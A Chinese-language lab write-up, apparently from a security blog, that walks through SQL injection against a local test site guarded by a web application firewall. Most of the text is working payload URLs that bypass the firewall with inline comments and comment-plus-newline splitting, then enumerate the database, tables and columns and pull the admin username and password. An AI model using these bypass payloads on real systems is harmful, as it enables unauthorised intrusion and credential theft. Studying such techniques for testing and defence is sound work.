一、测试是否存在注入点
先看下正常页面(对,就是熟悉的味道,上篇文章的靶场,因为我懒得搭建,懒!懂了不)
我们接着往下看:常见的三种判断方法,’单引号,and1=1,and1=2
这里基础就不讲解了
单引号直接报错,我还以为会拦截呢
and1=1,and1=2,拦截!终于看见了熟悉的样子
and1=2肯定也是这样,我们就不截图出来了
绕过,绕过!
1.我们先寻找规律,and不会被拦截,and+数字组合在一起就会被拦截
OK,我们来尝试绕过
先尝试内联注释,和之前篮子哥的绕过方法大同小异。
127.0.0.1/xxx/?id=1 and /*!1=2*/ |
---|
二、猜解字段
普通的payload
127.0.0.1/xxx/?id=1 order by x |
---|
这里肯定会拦截的
1.还是找规律 order不拦截,orderby组合在一起就会被拦截。这里我正好想到上次bypass一个报错注入的手法,就是一个简单的换行,这里要是不懂。可以去学下数据库噻
http://127.0.0.1/xxx/?id=5%order%23%0A%by%18--+ |
---|
这里讲下%23和%0a是什么。%23:#%0a:换行
ok,成功绕过。
嗯?18个字段?我是惊了,我还是一个个的尝试的,早晚仔细看下昨天的文章了
三、猜解表名
我们看下哪个可以查询,普通的就是union select 1,2,3到18
http://127.0.0.1/xxx/?id=-5 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 --+ |
---|
我们接着寻找规律,
Union 不会被拦截
Select 不会被拦截
Union select 组合在一起就会被拦截
!!!我们接着用换行绕过
http://127.0.0.1/xxx/php?id=5’ union%23%0A select%23%0A 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 --+ |
---|
居然不好使!
被拦了,emmm很伤,想想有啥办法。
突然想起了昨天跟诺曼诺斯底师傅聊参数污染,我们试下瞎搞下试试
http://127.0.0.1/xxx/php?id=5’union%23muxue%0Aselect%23muxue%0A1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 --+ |
---|
注释符和换行符之间的随意,嗯!虽然绕过了,但是并没有显示数字!
这里我们有SQL注入基础的都知道,咱们把数字搞成一个没有的就可以,比如0比如-5
http://127.0.0.1/xxx/php?id=-5 union%23muxue%0Aselect%23muxue%0A1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 --+ |
---|
OK.2 3出来了。我们进行猜解库名
http://127.0.0.1/xxx/php?id=-5 union%23muxue%0A select%23mux%0A1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 --+ |
---|
我们判断一下,毫无疑问是加上database()被拦截了。我们来尝试一下database会不会拦截
Database不会被拦截,看来是()被拦截了。我们进行绕过,对()进行内联注释
http://127.0.0.1/xxx/php?id=-5 union%23muxue%0A select%23mux%0A1,2,database/*!()*/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 --+ |
---|
数据库为jian!!
三、猜解列名
http://127.0.0.1/xxx/php?id=-5 union%23muxue%0A select%23mux%0A 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 frominformation_schema.tableswheretable_schema='jian' --+ |
---|
ok,正确的表名都被列出来了
我们查询下这个表里的Yzsourmember的列
http://127.0.0.1/xxx/?id=-5 union%23muxue%0A select%23mux%0A 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 frominformation_schema.columnswheretable_name='yzsoumember' --+ |
---|
Ok,所有列都出来了。
Username和password都出来了
诶,我好像忘了咋查询了耶
四、查库里面的表里面的列里面的数据!
http://127.0.0.1/jian/article.php?id=-5 union%23muxue%0A select%23mux%0A1,group_concat(username),group_concat(password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 fromyzsoumember--+ |
---|
?????,逗我呢,我group_concat都用出来了,就一个管理员账户密码……呃呃呃,还是admin。吐了!